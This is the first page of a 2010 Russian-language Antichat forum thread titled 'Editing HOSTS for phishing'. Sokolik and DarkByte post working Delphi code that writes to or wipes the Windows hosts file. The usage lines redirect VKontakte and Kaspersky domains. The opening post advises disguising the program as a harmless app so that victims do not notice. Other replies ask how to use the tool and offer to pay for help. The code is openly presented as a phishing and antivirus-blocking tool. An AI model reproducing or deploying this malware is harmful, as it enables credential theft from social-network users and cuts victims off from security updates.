ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > SЕО/Финансовые задачи/Социальные сети > Социальные сети
Перезагрузить страницу Редактируем HOSTS под фишинг
   
Ответ
Страница 1 из 2 1 2 >
 
Опции темы Поиск в этой теме Опции просмотра

Редактируем HOSTS под фишинг
  #1  
Старый 10.01.2010, 05:05
Sokolik
Banned
Регистрация: 05.03.2009
Сообщений: 71
Провел на форуме:
1130493

Репутация: 2
Отправить сообщение для Sokolik с помощью ICQ
По умолчанию Редактируем HOSTS под фишинг
Прочитал тему, в ней выложен билдер батников для редактирование хостс. Если кто хочет может сделать на дельфи тоже самое на свой вкус, чтобы не париться со склейкой батника.

Пишем процедуру:

procedure wHosts(s:string);
var
SysdirP: PChar;
hFile: THandle;
nw: dword;
b: byte;
begin
SysDirP := StrAlloc(MAX_PATH);
GetSystemDirectory(SysDirP, MAX_PATH);
lstrcat(SysDirP, '\drivers\etc\hosts');
hFile := CreateFile(SysDirP, GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);
SetFilePointer(hFile, 0, nil, FILE_END);
b:=13;
WriteFile(hFile, b, 1, nw, nil);
b:=10;
WriteFile(hFile, b, 1, nw, nil);
WriteFile(hFile, PAnsiChar(s)^, length(s), nw, nil);
CloseHandle(hFile);
end;

Применение:

procedure TForm1.FormCreate(Sender: TObject);
begin
wHosts('127.0.0.1 www.vkontakte.ru');
wHosts('127.0.0.1 vkontakte.ru');
wHosts('127.0.0.1 www.vk.com');
wHosts('127.0.0.1 vk.com');
wHosts('127.0.0.1 www.kaspersky.ru');
wHosts('127.0.0.1 kaspersky.ru');
end;

Чтобы было без палева можно сделать под видом кульной проги, думаю с дельфи из форумчан много кто знаком.

Сорц
 
Ответить с цитированием

  #2  
Старый 10.01.2010, 06:41
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404

Репутация: 564
Отправить сообщение для shell_c0de с помощью ICQ Отправить сообщение для shell_c0de с помощью AIM
По умолчанию
Вот эт норм теперь не будут барыжничать host билдером ) или будут ? )
 
Ответить с цитированием

  #3  
Старый 10.01.2010, 13:34
DarkByte
Новичок
Регистрация: 27.02.2008
Сообщений: 11
Провел на форуме:
1563443

Репутация: 11
По умолчанию
А не проще ли было через assign, append/rewrite, writeln, close?
 
Ответить с цитированием

  #4  
Старый 10.01.2010, 14:07
Sokolik
Banned
Регистрация: 05.03.2009
Сообщений: 71
Провел на форуме:
1130493

Репутация: 2
Отправить сообщение для Sokolik с помощью ICQ
По умолчанию
Цитата:
Сообщение от DarkByte  
А не проще ли было через assign, append/rewrite, writeln, close?
Выложи свой пример, меня и мой устраивает!
 
Ответить с цитированием

  #5  
Старый 10.01.2010, 14:26
DarkByte
Новичок
Регистрация: 27.02.2008
Сообщений: 11
Провел на форуме:
1563443

Репутация: 11
По умолчанию
Цитата:
Сообщение от Sokolik  
Выложи свой пример, меня и мой устраивает!
Код:
procedure toHosts(s:string; clear: boolean=false);
var
  SysDir: string;
  f: TextFile;
begin
  SetLength(SysDir,MAX_PATH);
  GetSystemDirectory(PCHar(SysDir), MAX_PATH);
  if SysDir<>'' then begin
    SetLength(SysDir,pos(#0,SysDir)-1);
    SysDir:=SysDir+'\drivers\etc\hosts';
    assign(f,SysDir);
    if clear or (not FileExists(SysDir)) then rewrite(f) else append(f);
    writeln(f,s);
    close(f);
  end;
end;
Пример использования
Код:
begin
  toHosts('127.0.0.1 www.vkontakte.ru',true);
  toHosts('127.0.0.1 vkontakte.ru');
  toHosts('127.0.0.1 www.vk.com');
  toHosts('127.0.0.1 vk.com');
end;
В первом вызове toHosts вторым параметром указывается true, для того, чтобы очистить файл hosts.
 
Ответить с цитированием

  #6  
Старый 10.01.2010, 18:17
Шухер
Познающий
Регистрация: 13.12.2009
Сообщений: 63
Провел на форуме:
483747

Репутация: 5
Отправить сообщение для Шухер с помощью ICQ
По умолчанию
кто расскажет как юзать данную вещь?
 
Ответить с цитированием

  #7  
Старый 10.01.2010, 18:36
22Striker22
Новичок
Регистрация: 26.07.2009
Сообщений: 4
Провел на форуме:
185319

Репутация: 5
Отправить сообщение для 22Striker22 с помощью ICQ
По умолчанию
Цитата:
Сообщение от DarkByte  
А не проще ли было через assign, append/rewrite, writeln, close?
Паскалевские ехешники не на всех ОС работать будут (Вин7, ХР 64).
 
Ответить с цитированием

  #8  
Старый 10.01.2010, 18:44
22Striker22
Новичок
Регистрация: 26.07.2009
Сообщений: 4
Провел на форуме:
185319

Репутация: 5
Отправить сообщение для 22Striker22 с помощью ICQ
По умолчанию
Цитата:
Сообщение от Шухер  
кто расскажет как юзать данную вещь?
Скачиваешь, запускаешь и радуешься.
 
Ответить с цитированием

  #9  
Старый 10.01.2010, 19:23
DarkByte
Новичок
Регистрация: 27.02.2008
Сообщений: 11
Провел на форуме:
1563443

Репутация: 11
По умолчанию
Цитата:
Сообщение от 22Striker22  
Паскалевские ехешники не на всех ОС работать будут (Вин7, ХР 64).
Да неужели? Странно, а у меня работают. assign это обёртка над CreateFile, если речь об этом.
 
Ответить с цитированием

  #10  
Старый 10.01.2010, 19:31
Wh1Te
Новичок
Регистрация: 24.07.2008
Сообщений: 13
Провел на форуме:
215856

Репутация: 1
По умолчанию
За бутылочку пива кто сможет помочь?
 
Ответить с цитированием
Ответ
Страница 1 из 2 1 2 >



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
ICQ под Дату Рождения Chessman ICQ - Покупка, продажа 30 14.06.2010 18:34
Скомпилировать GeoIPCity под Linux Eugene-N С/С++, C#, Delphi, .NET, Asm 0 14.04.2009 22:39
Дневник кота {((((((((((((]}{ ТЕМА!!! Болталка 3 14.03.2009 23:50



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ